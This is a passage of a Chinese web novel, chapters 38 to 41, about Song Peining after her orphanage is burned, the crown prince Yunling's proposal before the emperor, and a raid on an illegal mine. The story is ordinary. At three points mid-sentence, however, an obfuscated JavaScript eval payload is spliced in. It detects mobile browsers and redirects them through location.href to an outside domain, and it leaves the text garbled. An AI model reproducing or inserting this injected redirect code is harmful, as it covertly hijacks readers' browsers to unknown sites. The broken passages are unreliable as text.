宋沛宁奋力想要挣脱开暗卫的挟制,可惜力气不敌暗卫,根本无济于事。大火的灼热感沉闷地扑在每个人的脸上,焦灼的味道仿佛嗅到末日的气息。 宋沛宁的声音崩溃到尖锐,周遭太热了,像是眼泪流出来,立马干在脸颊上。 “放开我!!!” “你是连我的话也不听了吗?!!” “爹!!!爹!!!” 没有人听她的话。 她的身边,最亲最亲的人全都不在,宋沛宁孤立无援,推不开铁腕的暗卫,救不了近在眼前的大火,无能为力,只能扑在地上撕心裂沛地痛哭。 爹,阿爹。 你说,这就是太平盛世背后要付出的代价吗。 可是我想做的事情,代价也由我来背,怎么忍心让你来替我背呢? 你出来,好不好。 38. 卿卿 “放开她。” 忽然,身后传来一声不容置疑的声音。二人回头看去,云翎身骑白马急急赶到,原本清冷的面孔被熊熊的大火映照出滚烫的轮廓,他的声音落下,扯着缰绳马儿嘶鸣了一声停在了跟前,云翎的动作不停顿,直接一跃从马上跳了下来。 他蹲身靠近宋沛宁,却见宋沛宁瑟缩地后退了几分。她的身后是漫天的大火,宋沛宁抬起头,仿佛刚刚经过一场权势的较量,而她是一塌涂地输掉的那个,她看云翎的脸,从来没有觉得阿回离她这样遥远。 云翎的手顿了顿,心下了然了几分,不愿去逼她,于是默默收回了手。 侧过头,干脆恢复太子的身份下达命令:“这里你不要管了,你去组织好我们的人救火。” 暗卫得令言道“是”,正要离去,却发现裤脚被人死死拽住,疑惑地回过头,就见是宋沛宁抓着他不松手。 暗卫不懂,刚要开口规劝,就见宋沛宁的头转向了太子,两人目光相接,太子像是读懂了。于是问道:“女公子的亲人是否还有在火里没有出去的?” 暗卫连忙称“是”,太子继而说:“先去把宋老爷子寻回来,一定要找到。” 暗卫走了,云翎恢复从前温柔的模样,他对宋沛宁轻轻地说:“阿宁,我扶你起来。” 宋沛宁方才哭得泣不成声,力气像是全是全都被抽走了。 她沾染上泥土的手,颤抖着好几次才搭在云翎递来的手心上。 “阿回,我还能这样叫你吗?我以后还能理所当然地接受你对我的好吗?” “别人不能,你能。” 云翎沉静,知道宋沛宁为什么要这么问,回答的语气虽淡,却是十分坚定。 “你是太子。” “是……”云翎垂下眼帘,继续说,“对不起。” 宋沛宁无力地笑了笑,觉得今天阿回讲的笑话好烂,逗不笑她了。 “不敢当,你没有什么对不起我的。” 云翎不说话,静静地看宋沛宁自嘲的表情。 “阿宁,我……” “找到了!老爷子找到了!” 火场中心有人大喊,宋沛宁闻声抽离云翎的手心,连滚带爬地站起来朝她爹的出来方向跑过去。 暗卫为了在大火里寻人,此时也狼狈得不像样子,肩膀上架着一个沉重的快要失去意识的老人。 “爹,爹!”宋沛宁关切地追过去,见到人,就急着把人往自己怀里揽,也不顾能不能抱得住。 “我们赶到时,老爷已经力气不支晕倒了,还好尚存一线意识,赶紧把老爷抬了出来,就是不知……” 云翎跟上来,简单查看了老爷的伤势,“还有救,备车,送到黄先生的医馆去。” 暗卫听着这话有些为难,“殿下,这个时间,城门许是早都关了……” “关了就再开。”云翎没有丝毫犹豫,径直说,“就说是太子的命令,谁敢不从。” ……太子…… 周遭还有许多慈幼院的人,家丁或孩子,听到云翎的话纷纷倒吸一口凉气。接着臣服地俯身拜见,生怕有一丝不周。 “见过太子!” “太子千岁!” 云翎微微闭起眼睛,随即挥了挥手,一场大火也许连带他在慈幼院的安稳也一起烧成灰烬了。 “都起来吧,现在救火要紧。伤势严重的可以先和宋老爷先去医馆,如果觉得手脚没问题的就一起救火。” “是!” 大家答应下来,不知是不是有如此亲和的太子参与的关系,顿时恢复干劲,同心协力帮起忙来。 大火最终被扑灭,留下被烧焦的院子,以及一场熊熊燃烧后的焦炭味道。黑洞洞的房屋彻底失去活力,家具和院子破败不堪,像是用手轻轻碰一下,接着就要连墙全都倒塌下来一般。 慈幼院烧没了。 学堂也不存在了。 没有火光点亮的夜终于暗了下来,一大家子的人围在慈幼院的大门口,进也不是走也不是,正在缓和着接受这一切时,人群中忽然有人小声哭了起来。 “女公子,我又没有家了,怎么办?” 那一晚,黄大夫的医馆变成了慈幼院的避难所。 小小的一间医馆挤满了无家可归的人,大堂睡满了,院子也都横七竖八睡着人,不止一个人恍然又像是回到风餐露宿的过去,在拥挤的院子里随便找了一个位置,抱着肩膀合着衣服就那么睡。 无家可归的人,包括宋沛宁。 宋沛宁坐在阿爹的床铺前,眼里无神,一场大火像是烧干净了她的所有。 黄毕淳安慰宋沛宁宽心,“这位大人送来时还有意识,只是吸入太多浓烟,一时醒不过来。老夫已经为大人吃了药,多加休息不会有大碍的。” “谢过黄大夫,今晚又叨扰到您了。” “不要紧,行医救人是救人,能给各位提供一个落脚的地方也是行医者之仁,老夫荣幸之至。” 宋沛宁向黄毕淳感激不尽地谢过,黄毕淳便退了下去,才走没多久,敲门声又响起,云翎轻轻推开门的一条缝,只站在门外问。 “我,可以进吗?” 宋沛宁点点头,没有理由不让他进,今天若不是有云翎救场,情况只会更糟。 得到允许,云翎轻手轻脚地走进,与坐在床边的宋沛宁隔出一段不近不远的距离,后背靠在墙上。双方一时都不知该怎样开始,沉默良久,又同时开了口。 “对不起。” “今天谢谢你。” 说完怔了怔神,又同时相视而笑地带过。 气氛稍微轻松了点,宋沛宁问:“你的身份……为什么要瞒着我?” “我的身份太特殊,瞒着你也实在属无奈之举,朝堂之上的明争暗斗比你想象得还要复杂,当初,我从临舟回到皇宫,也是经历几番波折才好不容易活下来。我不想你因为我的原因白白遭受一番苦,我本想将宰相方祁的势力连根拔起之后再向你解释,没想到还没来得及对方祁下手,他却先对你下手了。” 宋沛宁听完十分诧异,据她手里掌握的证据所知,她所做之事与当今宰相并无干系。 “你的意思是今天的大火是宰相放的,为何会这么说?” “我对此也不是十分确定,只是猜测,毕竟当今圣上御赐的牌匾不是谁都有胆子烧。” 宋沛宁不明白,“可我与宰相无冤无仇。” “怎能说无冤无仇。”云翎回答,看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545902|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋沛宁,“你正查的矿场就是方祁的,这些年方祁明里暗里在外发展了许多条不正当的生财之道,当今世道牙子猖獗也与他有最直接的关系。不仅如此,徐府大宅原本也是宰相府最大的掌事名下的大院,有一年宰相府掌事立功,方祁特意赠给他的一处大宅子。” 宋沛宁一时哑口无言,成日把行善除恶挂在嘴边,失掉了手上的全部筹码竟然连这些都没有查到。 云翎说完,转了话头安慰道:“阿宁,这些事情你牵涉到其中,早晚有一天会知道。就像刚才我告诉你的这些,也许经过今天的事情之后,没几天你也会知道。我不过当了一回传声筒,提前告知于你,兴许还能早日拉方祁下台。你不是一直说擒贼先擒王,如今这个王终于露头了,你擒是不擒?” 云翎说的没错,况且如果她注定最终要面对高高在上的宰相,没有云翎太子身份的相助,她也许永远都不会成为方祁看在眼里的对手。 手上要有力气,打人才会疼。如今慈幼院被毁,小五六七和裴钱霍还等着她救,她不能就此软弱退缩。 想到此处,宋沛宁重新振作起来,她看向云翎似乎恢复了几分从前的风采。 “擒。我要擒。” 这时夜已经很深了。折腾了一晚,一场祸事才稍稍告于段落。 安顿好宋沛宁,云翎赶着回宫,每日早朝他不可缺席。等到他回到太子东宫,天边隐隐泛出浅蓝色,似乎快要天亮了。 云翎没时间睡觉,吩咐宫女烧了洗澡水,准备直接洗漱穿戴好去赶早朝。 昨天发生这么大的事,方祁不可能一无所知,今日早朝兴许还会是一场好戏。云翎沉下脸,仔细思考好对策,当下若是跟皇帝实话实话直接摊牌必是不利,如何是好呢。 即便是睿智聪明精于计谋的云翎也难免头疼,坐在澡盆里的云翎干脆身子一沉,让整个人淹在水里面。 宰相方祁启奏:“启禀陛下,近来城中安逸,鲜少有牙贩案发生,连失散流童都少见了。这都是陛下皇恩浩荡,仁心仁德,治下之江山的功劳。” 朝堂上听到好消息,皇帝还算开心,说到流童,皇帝想起了前些日子创建慈幼院的女公子。 随即问到:“不知,京郊专收流童的慈幼院可一切顺利啊?” 方祁装尾巴狼,揣着明白装糊涂:“哎呀,这个老臣便有所不知了,但承蒙陛下皇恩,定然是只好不坏。我听闻,太子殿下与慈幼院女公子近来接触密切,不知太子殿下是否知晓一二。” “回父皇。”云翎上前一步,颔首说道,“慈幼院昨日遭逢大火全被烧为灰烬,还请陛下允许我与宋女公子继续调查此事。” 皇帝皱眉,慈幼院被烧实在可惜,立即允了,彻查此事。 云翎知道方祁不怕,就算皇帝下令要彻查,他也肯定找好了替罪羊,绝对不会查到他的头上,到时候他们就是白忙活一场。 谁知,云翎说完没停,继续说道:“陛下,儿臣还有一个私事相求,今天当着满朝文武,就当做个见证。” “你说。” “儿臣已有心悦之人,正是慈幼院的宋女公子,还望陛下成全。” 太子话毕,包括稳坐高位的九五至尊一道,在场的满朝文武皆是哗然。 39. 卿卿 远在皇宫之外的宋沛宁还不知道今早朝堂上出了这么一桩大事。 她刚过了心惊胆战的一晚,早上晨光微熹,宋老爷子担念女儿,放不下心地睁开眼睛。 宋老动了动手指,守在爹爹床边的宋沛宁立刻感受到醒了过来。 “爹,你醒了?” “囡囡。”阿爹的声音干哑,看见宋沛宁抬手想要摸摸宋沛宁的头,可当抬起手,才察觉身体力竭,实在没什么力气,“昨晚你没事吧?” 宋沛宁注意到一把抓住爹爹的手,攥在手心里,眼里泪水复有浮上来,“我没事,爹,你感觉怎么样,我去喊大夫,可吓死我了。” “爹没事。”宋老轻轻拍拍女儿,轻轻地女儿,“早知道京城这么危险,当初说什么都不会同意你来,你才是吓死爹了。” 父女俩正说着话,听闻房间有响动的宋夫人带着婢女一同走进来。宋沛宁阿娘这一晚也睡得不安稳,心里惦记着,老爷醒了肯定要饿,须得提前准备好。于是天还没亮,早早地起了,亲自到厨房煮了白粥,可是老爷怎么一直没有醒啊——好好的一锅白粥放得凉了,凉了又热,煮到白烂了,好不容易等到老爷醒了。 宋沛宁见到阿娘进来,遂站起身给阿娘腾地方,留给老夫老妻说些体己话,自己则去找黄大夫去了。 小医馆从一大早上就忙碌起来,昨晚从慈幼院来的伤患不少,平日还算宽敞的院子,此时却是挤得有点站不住脚。 如此给医馆上下添麻烦,宋沛宁心里过意不去,也跟上手帮忙。阿爹早上吃过药,比刚起来时有力气多了,老爷子一有力气便闲不住,念着要去院子里吹吹风,阿娘说了几次院子里人挤人哪来的风哦,老爷子也不听。阿娘拗不过,只能由着他去园中闲坐,老头人一出来,精神好了眼睛亮了也不吵不闹了,一双眼睛就盯着自家闺女跑,嘴角挂着老父亲慈祥的笑,颇有劫后余生的味道。 日头快到晌午的时候,院外传来一阵脚步声,正疑惑着,一队庄严的人马涌进本就狭窄拥挤的院子。 队列为首的公公,宋沛宁见过。是上次来京郊给慈幼院送牌匾的公公。 听闻宫里来人,黄大夫成为医馆之主理应前来迎接,刚跨过大堂的门槛,一边颔首拱着手,一边从大堂走了出来。 “不知公公驾到,黄某有失远迎。” 这位公公看了他一眼,随后扫视了一圈院子,院中当下有些寂静,大家面面相觑,不知昨夜刚发生了那么大一件事,公公今早就赶着来了,究竟是福还是祸。 环视一圈,最后目光落在宋沛宁身上,找到人了,公公严肃的脸方才有了生气,笑迎满面地朝宋沛宁说道。 “女公子,哎呀,女公子,奴才可找到您了。” 宋沛宁听这话不解,指了指自己,“找我?公公何事?” “女公子好大的福气,当初奴才给您送牌匾时,就知您福相不一般!”公公笑道,语气实在热络,和善得过了头,拍完马屁客套完,收了收神色,继续说,“恭喜女公子,这就成了太子妃的候选人,万岁爷传您进宫呢,跟奴才走吧。” 太子妃……? 公公话音落下,院中在场的所有人无不屏吸凝神,一时鸦雀无声,叩首谢恩道喜竟也全都忘了。 接到皇帝召见,宋沛宁只身进宫。来不及消化身份上居巨大的转变,坐在深入皇城的马车里,宋沛宁忍不住细琢磨这件事的原委。 云翎昨晚临走前,并没有和她说起太子妃的事,说明这事一定是临时搬出来的缓兵之计。不过,一个从没听说过与皇子有过亲密接触的女子,突然在殿前被提出来要娶她,别说是深谋远虑心思缜密的皇帝直觉怪异,就算是普通人家的父亲听说也只会觉得此女不似善人……怎能立马同意婚事? 宋沛宁不禁联想,云翎别不是出了什么事情,此行面上看是风光无限的好事,依她看来却是凶多吉少了。 一行车马仍在行进,宋沛宁掀开卷帘看向外面,砖红色的城楼庄严肃穆,华贵中又带着令人无法抵抗的压迫感。 见宋沛宁探出头,一旁随行的宫女恭敬地上前递话。 “女公子可是有什么事?” 宋沛宁想着打听云翎的事,但见一介宫女应该也不清楚,便转了话头问:“我们这是要去哪里?” “回女公子,我们朝着养心殿去面见皇上。您不必紧张,今早太子殿下在圣前已经说尽了女公子的好话,皇帝对您颇看重,只是见见。” 宋沛宁抓住重点,“早上太子如何说我你都听到了?” “正是。”宫女颔首作揖,“奴婢是太子东宫的宫女,公公一个人去接女公子,太子殿下不放心,这才叫奴婢一同跟着。” 一听是东宫的,宋沛宁紧接着问:“那太子现下可好?有没有被什么人为难。” 宫女笑了,回道:“您放心吧,没有为难。” 二人说话间,转眼就临近了养心殿,宋沛宁只得挑重点说:“那今天能见到他人吗?” “这我得先替您传达。”宫女停下脚步,轿子也停驻,这是到了,“殿下让我带话给你,既然牵扯您进宫,他定会护住您的安全,请太子妃一定相信他。” 听完这句话,公公笑眯眯地走上前,先请宋沛宁下车候在殿外,自己去进殿通传。 没等多久,来了个年轻的公公低头顺从地带着宋沛宁入殿。 饶是过去在民间见过太多世面,宋沛宁进宫觐见还是头一次,礼要做全了,规矩也要守好了,亦步亦趋地跟在小公公后头,不敢多迈一步。 引至殿中间,宋沛宁低头,用余光瞥见屋里坐着一个不怒自威的人。 宋沛宁拜见圣上,跪下身来,这人见她来了,目光沉沉地盯着她看了半刻,才缓缓地开口道:“你就是京郊慈幼院的院主宋沛宁?好厉害的女子!” 果然和她预料中的不错,皇帝趁着自己儿子不在,是要先给她一个下马威,省着她以为当上太子妃了,目中无人不知轻重。 宋沛宁没敢抬头,急中生智地回道:“不知陛下说得哪里的话。民女与太子殿下相识于民间,是以志同道合才并肩,日渐生出的情愫,若不是昨夜的一场大火,至今都不知殿下身份,只当是同行的盟友。” 皇帝微眯着眼,顺着她的话问:“所以你的意思是对我家翎儿没心思,那他何故娶你?我儿可是太子,娶了你难不成还委屈你了?” 皇帝这话说得有一点点偏心,相传皇上与太子不亲,这会儿居然也护起短来。 宋沛宁心里正盘算着如何回答,只听身后殿门吱呀一声响起来,未经传召私自进殿是谁好大的胆子,殿中两人的对话被打断,是云翎接到宋沛宁进宫的消息走了进来。 太子边走边带着笑,颇有要办喜事的得意模样。 “父皇,儿臣听闻阿宁来了,急忙着找过来,礼数不周请您多见谅。” 行至殿前,看到跪在殿前的宋沛宁一把把她捞起来,顺手替她扑了扑裙子上的灰,顺手把阿宁的手牵到自己手里,笑道:“父皇就别让她跪了,把阿宁吓跑了,我娶谁去?” 见到这两人蜜里调油,皇帝险些看不过去,方才的压迫感也跟着烟消云散。自从云翎失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555745|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踪再回来,他很少见云翎有如此高兴的时候,在宋沛宁面前,云翎鲜活的表情比过去几年的岁月里都生动。 皇帝作罢,摆了摆手,命令道:“赐座。” 坐定,云翎接着说:“父皇,您方才去请太子妃,还落下了一位,我帮您一起请来了,您见见?” 宣进殿,只宣来一个花甲老头。云翎刚要介绍,就听皇帝动了动身,原本放松的身体随即端坐起来。 “宋卿……?” “您……您们认识……?” “参见陛下,陛下安然无恙啊。” 二老在年轻时有过一段渊源,年少时就已相识,当时宋老爷的父亲做宰相,辅佐先帝料理朝中之事。然而,宰相权力越大,皇帝忌惮越重,加之当时也有一方氏文官觊觎宰相高位,处处陷害算计,君臣渐渐不似从前。宋宰相颇具文官风骨,明白强弓易折之理,遂主动与先帝辞去官职,带着妻儿远离京城,来到临舟。 年少玩伴再相见,一时感慨万千,攀谈起来。 宋沛宁暗中推了推云翎:“你怎么知道我爹认识你爹?” “……我也不知道。”云翎实话实说,“我只是觉得,晚辈的婚事需得双方父母都在场,才算尊重。” “那我们……” 两人刚要退下,叙旧的两位也回过神来,叫住他们。 “先别走。婚事定得唐突又糊涂,你们是否真的情投意合?” 是真的。 情投意合了将近十年,才好不容易走到今天。 云翎拉着宋沛宁欲出大殿的身影顿了顿,重又郑重地回过头来。 “您总问我离宫的那几年都去了哪里,当时不愿意说,是因为想保护一个小姑娘。因为我从那时,心里就住着一个姑娘。我心里的姑娘,心地善良,志向高远,她想做一个。从来没有人做到的事情。我知道其路艰难,何其困苦,她也总是爱哭,我不能袖手旁观。如果她要去做伞,保护全天下淋着雨的孩童,那我就去做她的伞,为了她一人的愿望,守护全天下又有何干。你问我是否唐突,年轻一时冲动,只因我的爱太多又太满,愧于拿出手,想把它藏起来,等找到她了,做成了大伞,逐年累月地好好奉还。” 宋沛宁愣住,突然有些分不清云翎的话,是为了圆他们当下的谎言,还是真心实感。 她抬头看向他,只见他的睫毛在呼吸间轻轻地颤动,心似乎跳得很快。 忽然想起许多年前,就是阿回离开的前夜,阿回不是没有和她告别。 是一晚月朗星稀,清辉月下,小小的宋沛宁怕自己往后,会被永远地困在那场梦魇里。 阿回捧着她的脸,仔细擦去她眼角的泪水,颤抖着几次发声,才好不容易轻声对她说。 “阿宁,你别哭。我知你疾苦,你的心愿,我来成全。” 那天之后阿回就消失了。 所以阿回一声不响地离开,是为了成全她脆弱无助的心愿,可她居然因为他的不辞而别,不管不顾地记恨好多年。 “阿回……” “阿宁,我们成婚吧。” 云翎何尝不知道,但是他什么都不怪。 要怪只怪当初的阿回单薄赢弱,保护不了心爱的女孩,如今阿回长大了,强大到可以做你的伞,完成你的心愿。 “我们成婚吧。” 云翎怕她不信,自顾自又反复了一遍。 他要怎么对她说呢,仿佛所有的言语都变得苍白。他从好多年前,就在等着这一天了。 “好。” 宋沛宁听见自己认真的声音。 40. 卿卿 从养心殿出来,云翎拉着宋沛宁的手还在抖。宋沛宁爹还有伤,不宜在外奔波太久,本想这就回医馆,却被皇帝拦了下来。 人居高位,许多年没有人能和他叙旧,说说心里话,一见到宋老两鬓花白的样子,老皇帝就忍不住笑话他,笑话完了又有些感慨。于是就把宋老爷子留在宫里,听闻宫外还有夫人孩子,也全都下令接进了宫。 宋老爷做了一辈子生意,脑瓜子转得灵活,眼睛一转寻思不能就这么完了,紧接着又好似为难地说,不能光我进宫呀,慈幼院还有一大帮人呢,我家囡囡照顾不来! 好好好,慈幼院的孩子顺便也被皇帝一声令下全安排了。不光暂时疗养的居所,连重建慈幼院的钱都包了。 全都安排完,宋老头才笑着点点头,谢过圣上,朝宋沛宁他们两个摆摆手,叫他们去忙了。 看着两个孩子牵手双双离开的养心殿的背影,两个老父亲皆是望着叹气。 “没想到殿下就是阿回。”宋父叹道。 “阿回?”皇帝疑惑地问,“这是你给我家翎儿取的名字?忒普通,跟翎儿不配。” “哪能是我,该是阿宁取的,你不说我还以为以为是太子殿下的乳名。” 两个人一起笑了笑,皇上叹了口气,继续说:”这两个孩子兜兜转转,又心怀天下,实在难得,看来最初是我误解阿宁了。” 一听有人说自家的娃娃不好,宋老翻了脸,转头用没受伤的那只胳膊一个劲地比划,也不管眼前是什么人惹不惹得起,吹胡子瞪眼地道:“我家阿宁多好的女娃娃,你还怎能如此有眼无珠!你是不是趁我没来的时候亏待了我家阿宁,吓唬了我家阿宁?” 皇上开怀地笑了,这宋老头从小就是个护短的小心眼,除了他,大约有几十年没人敢用这样的语气同他玩笑。 “唉,不过我家阿宁说来也可惜。本想找个普通人家的公子哥儿也就罢了,攀了个皇亲国戚也不知以后会不会受苦。” 皇上斜睨地看着老友叨念,笑着摇了摇头。 “姓宋的,你别装,我家翎儿在你家阿宁面前卑微成什么样了,他可是太子!当父皇的看了真心疼!” 一个九五至尊,一个从火场刚捡回半条命的受伤老头,说完勾肩搭背,不太放心地,一直朝孩子离开的方向望。 早上云翎请皇帝赐婚是应急之举,若不给宋沛宁一个身份,继续做她民间的女公子,方祁早晚会对她下手,但如果是太子妃的身份,方祁如何在近期也会有所忌惮。 但在养心殿的那番话又是真情流露,这一举不算处心积虑,只能算顺水推舟。 云翎拉着宋沛宁的手,车马走出很远,始终都没有舍得放开。 “阿宁。”云翎怕她误会他的真心,“我方才说的都是真的,那你答应的……” 宋沛宁心虚,下意识想要收回手来,却被云翎紧紧拽着,没挣脱出来。 于是宋沛宁的头瞥向一边,“不管你是不是真心,我是情势所迫,不得已才说的好。” 云翎信以为真,有一点失落,“如此,不过没关系,等我护你过这一……” “好了,我在逗你。” 宋沛宁笑着打断他,顺手揩掉云翎眼角的泪珠。 她相信他是真心,她的回答也是真心。 马车缓缓行进,逐渐远离了城区,向郊外的矿场驶去。 矿场在距离京城车程三个时辰的矿山里,此前宋沛宁派人去打探矿场动向,也是因为路程太远耽搁了许多功夫。 这矿山分为前山和后山,前山供人开采,因此来往人的很多,后山则一直是荒废的状态,杂草丛生,鲜少有人过去。 矿场涉及人员众多,想在一夜之间清空几乎不可能,若要仔细论起来,只可能做出人去楼的假象。前山和后山相差有点距离,找到后山的入口,要赶一个时辰的路,今日要的就是去后山碰碰运气。 去之前,云翎已经派人去后山踩过了点,传回来的消息也印证了他此前的猜想。后山有人迹,从前山到后山的山路上,甚至还能辨出隐隐约约的成群结队的脚印。 云翎带了人随行至马车后,早上他刚请皇上赐了婚,方祁想也以为他在为了赐婚的事周旋,就算能从赐婚大事中脱身,重建慈幼院也够两个人忙的了。而且方祁自作聪明,自以为完美藏匿了行踪,这时追查过去,足够打他措手不及。 诚然,如此唐突地请皇上赐婚是情势所迫,今日只是烧了慈幼院,那明日呢?势单力薄的宋沛宁,方祁就将拿她如何。但说到私心,也不可谓一点都没有。 转眼已经行至山路,山路崎岖不好走,云翎借故拉住宋沛宁的手。 “累吗?” 云翎柔声关切地问,语气里完全没有即将直面一场恶战的觉悟。 快驶入后山,车夫勒停了马。 “殿下,到了。” 再往里走恐打草惊蛇,剩下的路要用走的。云翎先下车,而后扶着宋沛宁下了车,身后随行的队伍也纷纷下车整装。 临近后山,迎面吹来萧瑟的风,风中带来叮叮当当的采矿声。 一行人亦步亦趋地前进,拨开秋风中零散摇曳的枯树枝,果然看见躬身劳作的人们。矿场内沉闷,除了监管严厉的催促声,就剩下采矿的声音和采矿人力竭的叹息声。 云翎在宋沛宁耳边解释到:“我去找了矿场的账目,这是一家未登入在册的黑矿场。我朝对采矿场环境要求十分严格,动辄很容易出现坍塌事故,因此收税和检察都相对严格。但矿场利润巨大,那些黑心厂商决计无法抛弃,用人用最低等的,甚至不要钱的,再说身份,万一出现事故死了也不会追究的是上佳。所以才有了这家矿场今日的规模。” 宋沛宁点点头,“可是我们今日把这家黑心矿场端了,也揪不出方祁的把柄,可惜了,如此伤筋动骨竟然也难以伤及他分毫。” 云翎不在意地笑笑:“前几日沉着冷静的宋大女公子哪去了?方祁早晚露出狐狸尾巴,你急什么?” 后山的入口,一名矿场监工正指挥着几名矿工推着矿车运出来。远远看过去,那几名矿工年纪不大,身上的衣服蹭得全是灰,几块地方已经烂了,蓬头垢面推着矿车的步子迈得艰难。 宋沛宁定睛一看,不由叫出声:“是小五六七!” 说完意识过来,立马捂住嘴巴,却还是晚了。监工闻声循着方向抬起头,小五六七也听见了,愣愣地,随后抬起了头。 不等监工有所反应,云翎当机立断下令动手,于是一群训练有素的精兵从隐匿的山头冲了下来,捉了个活的。 宋沛宁跟着人流跑下来,见到小五六七,随即红了眼眶,连声说了好几句“对不起”。经过这几日非人的摧残,小五六七脸上的表情都微微麻木,见到宋沛宁的眼泪才像是化了开来。 几个人都在眼角噙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565809|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着泪,小五安慰道:“对不起女公子,我们几个人事情没办好,着了他们的道。不过我们都与小一兄碰过了头,收集好了证据藏在了矿洞里,另外召集了几名矿工,如有需要可以为我们做认证。” 宋沛宁哽咽,“辛苦了,小一怎么样?” “不知道怎么说。”小五回答,“矿场搬迁的事,他事先也不知道,连累到大家他也很自责。虽说善才徐公子没得做了,但也不至于和我们一样重新沦为劳动力为,小一兄做了监工,但矿场主忌惮,权力架空,也帮不了我们太多。” “矿场主?” “对,一个脸上有火烧疤痕的男人,据说是易了主,和之前的矿场主不是同一个人。” 小五说完话,云翎的人动作迅猛,已经陆续压着嫌犯走出来。其中,就包含小五说的那位面目狰狞的矿场主。 宋沛宁见过他,就是当时时时跟在小一后面的徐家掌事,难道他就是矿场主。 不等宋沛宁开口,那人见到她,率先开了口。 “宋女公子,你还活着。”他一笑,脸上的烧伤疤更加恐怖了,“不知老夫送你的礼物你满意吗?” 宋沛宁没说话,转过身来与他对峙。 他丑陋的脸愈发狰狞,似是想起什么往事,眼中发了狠。 “你不记得我了吗?我可是一直记得你,这么多年都没忘。当初,若不是你,我也不会浑身烧伤,我们也不会在这里重逢。” 宋沛宁眼下一跳,“你……” 是当年关押他的看守?那场大火过后,他居然还活着。 见她想起来了,看守扭曲地大笑了两声,紧接着被人拖着押走了。 云翎问:“你认识她?” “认识。”宋沛宁快速回答,追了出去,“等等!” “当年那个孩子,死了吗?” 宋沛宁紧盯着那双可怖的眼睛一字一句地问。 看守一生作恶繁多,被宋沛宁问得怔住,估计早就忘了大火里临死时闭不上眼睛的女孩子。 “当年我推倒明火灯烧伤你的脸,多年后你一把大火烧掉了我的慈幼院。当年你亲手杀死救了整间地窖的姑娘,今日我亲手逮住你叫你血债血偿。矿场一事和多年前拐卖幼童、滥杀无辜的事,我会参奏圣上跟你从头清算。” 看守听闻根本不怕,甚至不屑地笑了,宋沛宁一个从临舟的外乡人两不靠,拿什么和他相争,他身后可是有当朝宰相为他撑腰,他鞍前马后为宰相之事操劳,宰相怎会坐视不理。 看守轻笑,宋沛宁明白他在笑什么,也不在乎地轻笑起来。 秋风吹乱她的头发,动摇不了她坚定的眼神。 她掷地有声地说:“如果你还有小命见到方祁,麻烦替我向宰相大人带声好,就说太子妃宋沛宁,得空一定去府上拜见宰相大人。不过,我觉得你没有这个机会了。” 宋沛宁说完话,几个困在矿场的小煤球跟着惊讶,小一从矿场走出来,方才混乱之中,他为了保护证据,此时有些灰头土脸,听到宋沛宁的话,停顿脚步,望着宋沛宁说完话的背影,久久地缓不过神。 几天前,两人离别前说过的话还历历在目。 是他慢了一步,想着事情成了,再和宋沛宁吐露心迹也不迟。 怎么转眼宋沛宁就成了别人的新娘。 他才好不容易追上她的脚步,怎么转眼又被宋沛宁落下了一大截。 41. 卿卿 裴钱霍也在矿场里的一间小破仓库里被找到。 矿场主兴许是知道裴钱霍别那么好对付,始终幽闭着他,没有给他松绑,自然也不会放他做苦工。找到他时,他还穿着失踪那天的衣服,麻绳粗暴地缠在他的手腕上,时间有些久了,隐隐显出血迹。 宋沛宁给裴钱霍松绑,一边解绳子一边说对不起,连累到他了。 裴钱霍摇摇头,面上实在没什么血色,这样的“没关系”太没有说服力了。他说是他一时不察,着了小人的道。 “那天矿场主神色慌慌张张地跑过来,说是慈幼院着火了,让我赶紧去看看。我一听也没有多想,毕竟我们此前天衣无缝,从没暴露过什么,于是我信以为真紧忙下楼去,在楼梯间,被矿场主从身后用钝器击中后脑,失去了意识,再醒来就被困在这里了。” 宋沛宁说:“照你这么说,矿场主有句话也不算说谎,慈幼院在你失踪的第二天真的着火了。” 裴钱霍听闻,神色立即紧张了起来。 宋沛宁却释怀地笑了,伸出手按下他,示意他不要担心,“现在已经没事了,虽然慈幼院也被烧得什么都不剩。” 宋沛宁想,这矿场主也许早就认出了她,不管慈幼院会不会与小一合作输送人手,他都会对自己下手,只不过是时间早晚的问题。 身后同样困在矿场几日的小五六七,听到慈幼院被烧毁的消息也是一阵静默,宋沛宁环视了一圈,见大家都意志消沉,于是深呼一口气,对大家打气说道。 “但好在没有发生什么无法挽回的伤痛,房子既然没了就重新修,只要我们一家人始终在一起,随时都可以重新开始吧。” 接下来,矿场主的老巢被端,料理矿场后续的事情便显得有些琐碎。 首先就是安置一大批矿工的住宿问题,这里面有自愿来的,有被骗来、被拐来的。被拐的人当中,甚至还有从比临舟还远的地方,不知道怎么跋山涉水地过来的人。 